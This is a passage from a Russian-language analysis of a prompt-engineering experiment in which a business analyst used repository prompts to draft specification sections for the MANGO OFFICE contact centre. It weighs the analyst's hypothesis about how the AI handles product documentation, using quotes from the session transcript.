true\\ntype: analysis\\nscope: prompts\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/101\\\"\\nrelated_artifacts:\\n  - \\\"prompts/glossary-context-understanding-stepwise.md\\\"\\n  - \\\"prompts/glossary-context-understanding-oneshot.md\\\"\\n  - \\\"prompts/fr-documentation-stepwise.md\\\"\\n  - \\\"prompts/fr-documentation-oneshot.md\\\"\\n  - \\\"prompts/constraints-documentation-stepwise.md\\\"\\n  - \\\"prompts/constraints-documentation-oneshot.md\\\"\\n  - \\\"runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md\\\"\\n  - \\\"standards/experiment-log-standard.md\\\"\\n---\\n\\n# \u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f: 0.1\\n\\n\u0414\u0430\u0442\u0430: 2026-06-16\\n\\n## \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\\n\u042d\u0442\u043e \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410 (\u0411\u0410-\u0418\u0413) \u0441 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438\\n`mango_ba_prompts`: \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 1, 2, 4 \u0438 6 \u0422\u0417 \u0434\u043b\u044f \u043e\u043c\u043d\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 (\u041a\u0426) MANGO OFFICE. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043f\u043e\u043b\u043d\u0430\u044f \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0441 0\u00bb, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u043a\\n[issue #101](https://github.com/G-Ivan-A/mango_ba_prompts/issues/101) (\u0434\u0430\u043b\u0435\u0435\\n\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b: **1.1** \u2014 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442/\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, **1.2** \u2014 \u0424\u0422\\n(\u0440\u0430\u0437\u0434\u0435\u043b 4), **1.3** \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f (\u0440\u0430\u0437\u0434\u0435\u043b 6), **1.4** \u2014 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0411\u0410).\\n\\n\u0426\u0435\u043b\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0424\u0422-1\u2026\u0424\u0422-3 issue #101:\\n\\n1. \u0434\u0430\u0442\u044c \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0435 \u0411\u0410 \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 1.4 (\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c / \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c /\\n   \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0443) **\u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b**;\\n2. \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (\u0441 \u0434\u0438\u0444\u0444\u0430\u043c\u0438) \u0438\u043b\u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c, \u043f\u043e\u0447\u0435\u043c\u0443\\n   \u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0435 \u043d\u0430\u0434\u043e;\\n3. \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1 \u2014\\n   \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 [`standards/experiment-log-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/experiment-log-standard.md));\\n4. \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u043d\u0430 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044e (13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 / \u0442\u0438\u043f\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432),\\n   **\u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438**, \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (\u044d\u0442\u043e \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0435\u043a\\n   ADR #003\u2013#008).\\n\\n## \u041c\u0435\u0442\u043e\u0434\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0441\u0432\u0435\u0440\u043a\u0435 \u0442\u0440\u0451\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432:\\n\\n1. \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b 1027 (\u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0432 \u0441\u0435\u0441\u0441\u0438\u0438);\\n2. \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u0432 \u0441\u0435\u0441\u0441\u0438\u0438 (\u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c\\n   \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u2014 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c\u0438\\n   `prompts/*.md`);\\n3. \u043f\u0440\u0430\u0432\u0438\u043b governance (Creative-mode: \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 scope \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0435\u0441\u043b\u0438\\n   \u043e\u043f\u0438\u0441\u0430\u043d \u0432 PR; \u043f\u0440\u0430\u0432\u043e \u043e\u0441\u043f\u0430\u0440\u0438\u0432\u0430\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0411\u0410, \u0435\u0441\u043b\u0438 \u043a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u2014 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438\\n   \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442).\\n\\n\u041a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u0441\u0441\u0438\u0438:\\n\\n| \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u0435\u0441\u0441\u0438\u0438 | \u0417\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 | \u0427\u0442\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c |\\n| --- | --- | --- |\\n| 1.1 | [`glossary-context-understanding-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/glossary-context-understanding-stepwise.md) | \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1 (\u0422\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f) \u0438 2 (\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c, \u0437\u0430\u0434\u0430\u0447\u0438) |\\n| 1.2 | [`fr-documentation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-documentation-stepwise.md) | \u0420\u0430\u0437\u0434\u0435\u043b 4 (\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f) |\\n| 1.3 | [`constraints-documentation-oneshot.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/constraints-documentation-oneshot.md) | \u0420\u0430\u0437\u0434\u0435\u043b 6 (\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f) \u2014 \u00ab\u044d\u043a\u0441\u043f\u0440\u0435\u0441\u0441-\u0440\u0435\u0436\u0438\u043c\u00bb |\\n\\n> \u0412\u0430\u0436\u043d\u043e \u0434\u043b\u044f \u0442\u0440\u0430\u043a\u0442\u043e\u0432\u043a\u0438: \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 6 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 (\u0440\u0430\u0437\u0434\u0435\u043b 1.3)\\n> \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 `constraints-documentation-oneshot.md` (oneshot \u2014\\n> \u00ab\u0437\u0430 \u043e\u0434\u0438\u043d \u043e\u0442\u0432\u0435\u0442\u00bb). \u0411\u0410 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u00ab\u044d\u043a\u0441\u043f\u0440\u0435\u0441\u0441-\u0440\u0435\u0436\u0438\u043c\u00bb; \u0432\\n> \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f `express` \u0437\u0430\u043c\u0435\u043d\u0451\u043d \u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0442\u043e\u043a\u0435\u043d `oneshot`\\n> (\u0441\u043c. [`prompts/README.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/README.md#\u0440\u0435\u0436\u0438\u043c\u044b-stepwise-oneshot-legacy)).\\n> \u041f\u0440\u0430\u0432\u043a\u0438 \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0435 3 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a `oneshot`-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443.\\n\\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043c\u0435\u0442\u043e\u0434\u0430: \u0441\u0435\u0441\u0441\u0438\u044f 1027 **\u043d\u0435** \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0435\u0441\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `stepwise`/`oneshot`. \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u0432 \u0446\u0435\u043b\u043e\u043c \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043f\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e (\u0411\u0410\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u00ab\u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u00bb, \u00ab\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u00bb, \u00ab\u043e\u0442\u043b\u0438\u0447\u043d\u043e\u00bb). \u041f\u0440\u0430\u0432\u043e\\n\u043d\u0430 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441 \u043d\u0443\u043b\u044f (\u0437\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u044b \u21163 issue) \u043d\u0435\\n\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u2014 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043d\u0435\u0442. \u0412\u0441\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043f\u0440\u0430\u0432\u043a\u0438 \u0442\u043e\u0447\u0435\u0447\u043d\u044b\u0435.\\n\\n---\\n\\n## \u0424\u0422-1. \u0412\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c \u0411\u0410 (\u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438)\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043a\u0430\u043a\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue: \u00ab\u041e\u0411\u042f\u0417\u0410\u0422\u0415\u041b\u042c\u041d\u041e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0446\u0438\u0442\u0430\u0442\u044b\u00bb).\\n\\n### \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 1 \u2014 \u00ab\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438; \u043d\u0443\u0436\u0435\u043d \u044f\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0437\u0430\u043f\u0440\u043e\u0441\u0430/\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u0437 \u0411\u0417\u00bb\\n\\n**\u0426\u0438\u0442\u0430\u0442\u0430 \u0411\u0410 (\u0440\u0430\u0437\u0434\u0435\u043b 1.4):**\\n> \u00ab(\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430) \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u044f\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0443 (\u0441\u0441\u044b\u043b\u043e\u043a,\\n> \u0434\u043e\u043a\u043e\u0432, \u0434\u0440.); \u0446\u0435\u043b\u044c \u2014 \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0438\u0441\u043a\u0430 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\\n> \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u0438\u043d\u0430\u0447\u0435 \u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\\n> \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0412\u0435\u0440\u0434\u0438\u043a\u0442: \u041f\u041e\u0414\u0422\u0412\u0415\u0420\u0414\u0418\u0422\u042c \u0427\u0410\u0421\u0422\u0418\u0427\u041d\u041e** (\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u044f\u0432\u043d\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0438 \u044f\u0432\u043d\u043e\u0433\u043e\\n\u043f\u0440\u0430\u0432\u0438\u043b\u0430-\u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f; \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c \u0442\u0435\u0437\u0438\u0441, \u0447\u0442\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435\u0442).\\n\\n**\u0427\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430.** \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0432\\n`glossary-context-understanding-stepwise.md` **\u0443\u0436\u0435 \u0435\u0441\u0442\u044c** \u0438 \u0432 \u0441\u0435\u0441\u0441\u0438\u0438 1027\\n**\u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0448\u0442\u0430\u0442\u043d\u043e**. \u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c PDF-\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e,\\n\u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u043b \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0422\u0417 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443, \u0430 \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442\u044b As-Is:\\n\\n> \u00ab\u042f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u044e \u0435\u0433\u043e \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439:\\n> \u0418\u0437\u0432\u043b\u0435\u043a\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435 \u0444\u0430\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u043c\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n> \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 (As-Is). \u2026 \u041f\u043e\u043a\u0430\u0436\u0443 \u0432\u0430\u043c \u044d\u0442\u0443 \u0432\u044b\u0436\u0438\u043c\u043a\u0443 \u0434\u043b\u044f \u0441\u0432\u0435\u0440\u043a\u0438\u00bb (\u0440\u0430\u0437\u0434\u0435\u043b 1.1).\\n\\n\u0418 \u0434\u0430\u043b\u0435\u0435, \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 13.7 \u041c\u0411 PDF, \u0430\u0433\u0435\u043d\u0442 \u0438\u0437\u0432\u043b\u0451\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0430\u043a\u0442\u044b As-Is \u0441 \u044f\u0432\u043d\u044b\u043c\u0438\\n\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u043f\u0443\u043d\u043a\u0442\u044b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 (\u043f. 4.3.5, 7.4.2, 4.3.2) \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435. \u0422\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u00ab\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 **\u043d\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0441\u044f** \u2014 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439 \u00ab\u043f\u043e\\n\u0448\u0443\u043c\u0443\u00bb \u043d\u0435 \u0431\u044b\u043b\u043e. \u0412 \u044d\u0442\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u0432 \u0435\u0451 \u0436\u0451\u0441\u0442\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c.\\n\\n**\u041d\u043e \u0440\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u0435\u0440\u043d\u043e \u0435\u0441\u0442\u044c, \u0438 \u043e\u043d\u043e \u0432\u0430\u0436\u043d\u043e.** \u0422\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043f\u043e\u0441\u043b\u0443\u0436\u0438\u043b **\u0441\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c**, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b PDF:\\n\\n> \u00ab\u041c\u043e\u0433\u0443 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043f\u043e \u041a\u0426 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0438\u0437 \u0411\u0417,\\n> \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043d\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f AsIs. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c pdf \u0444\u0430\u0439\u043b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430?\u00bb\\n> (\u0440\u0430\u0437\u0434\u0435\u043b 1.1).\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u0428\u0430\u0433 0 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u00ab\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438\\n(As-Is): \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, PDF, \u0441\u0441\u044b\u043b\u043a\u0438\u00bb, \u043d\u043e:\\n\\n- \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044f\u0432\u043d\u043e **\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0443 / \u0431\u0430\u0437\u0443 \u0437\u043d\u0430\u043d\u0438\u0439 (\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430,\\n  